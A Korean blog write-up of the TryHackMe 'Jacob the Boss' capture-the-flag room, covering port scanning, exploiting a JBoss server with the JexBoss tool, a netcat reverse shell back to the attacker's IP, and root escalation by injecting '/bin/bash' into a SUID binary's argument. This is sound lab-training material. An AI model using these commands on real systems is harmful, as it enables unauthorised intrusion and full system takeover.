이제야 올리는 라이트업..
1. 문제
https://tryhackme.com/room/jacobtheboss#
각각 flag값을 갖고있는 user.txt, root.txt를 찾는 문제
공격머신을 이용할 수 있으나 1시간 이후에 유료라..^.^
OpenVPN을 이용했습니담
힌트
JBoss Application 취약점
2. 문제 풀이
피해자 IP : 10.10.36.52
공격자IP: 10.18.30.214
1. 포트 스캔
nmap을 이용하여 포트스캔 시도
nmap -sS -o 10.10.36.52
아래와 같은 결과를 볼 수 있다.
눈여겨볼만한건 80포트, 8080포트 (웹 서버)
3306포트(mysql)...
1098, 1099 얘네들은 java
1-1. mysql 원격 접속 시도
외부 접속을 막아 뒀다.
1-2. 80포트(아파치)
이것도 별 다른 특이사항이 없는 것 같다.
1-3. 8080포트(JBoss)
여기서 JBoss AS를 처음 봤는데, Tomcat과 같이 웹 컨테이너 중 하나로 유명하다고 한다. (외국에서 많이 쓰이는 듯..)
JBoss Web Console 접속시, 아래처럼 JBoss 버전 등의 내용을 볼 수 있다.
이게 원래 들어갈 수 있는건가 싶어서 검색해보니 원래는 막아놔야한다고 한다.
그래서, JBoss Application server가 취약하다고 판단했다.
2. JBoss AS 취약
2-1. JexBoss 도구 사용
JBoss Application Servlet를 대상으로 하는 보안 취약점 스캐닝 및 테스트 도구인 JexBoss를 사용한다.
해당 도구로 취약점 스캐닝 후, 그 결과를 기반으로 취약점 공격을 진행할 수 있는 도구이다.
아래에서 다운받은 후, 사용해주면 된다.
https://github.com/joaomatosf/jexboss
사용법은 /path/to/jexboss에서 아래 명령어를 사용하면 된다.
python jexboss.py -u http://10.10.36.52:8080
jmx-console, web-console, JMXInvokerServlet 이 3가지 관리콘솔들이 취약한 것을 알 수 있다.
JexBoss를 이용하면 취약점 진단 뿐만 아니라, 공격도 할 수 있다.
2-2. 리버스쉘 사용
리버스쉘은 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 방식을 말한다.
=> 방화벽 때문에, 외부 > 내부로 들어오는 요청은 차단되어도 내부 > 외부로 나가는 요청은 허용된 경우가 많다.
공격자는 4444번 포트를 열고 대기한다.
nc -lvnp 4444
jexremote 명령어를 이용하여 공격자의 서버와 포트로 JBoss AS를 원격 연결한다.
jexremote=10.18.30.214:4444
이렇게 연결한 후, user.txt를 읽을 수 있다.
3. root로 권한 상승
root.txt를 읽기 위해서는 jacob -> root로 권한 상승이 필요하다.
3-1. SUID 설정된 파일 찾기
find / -perm /4000 -type f 2>/dev/null
3-2. SUID가 설정된 파일 통해 권한상승
pingsys파일은 네트워크 연결 설정을 확인하는 파일이다.(ping 명령어와 유사)
파일 소유자인 root의 권한으로 실행시키면서 /bin/bash 명령어로 권한상승 시도
/usr/bin/pingsys '8.8.8.8; /bin/bash'
아래와 같이 root.txt를 읽을 수 있다.
댓글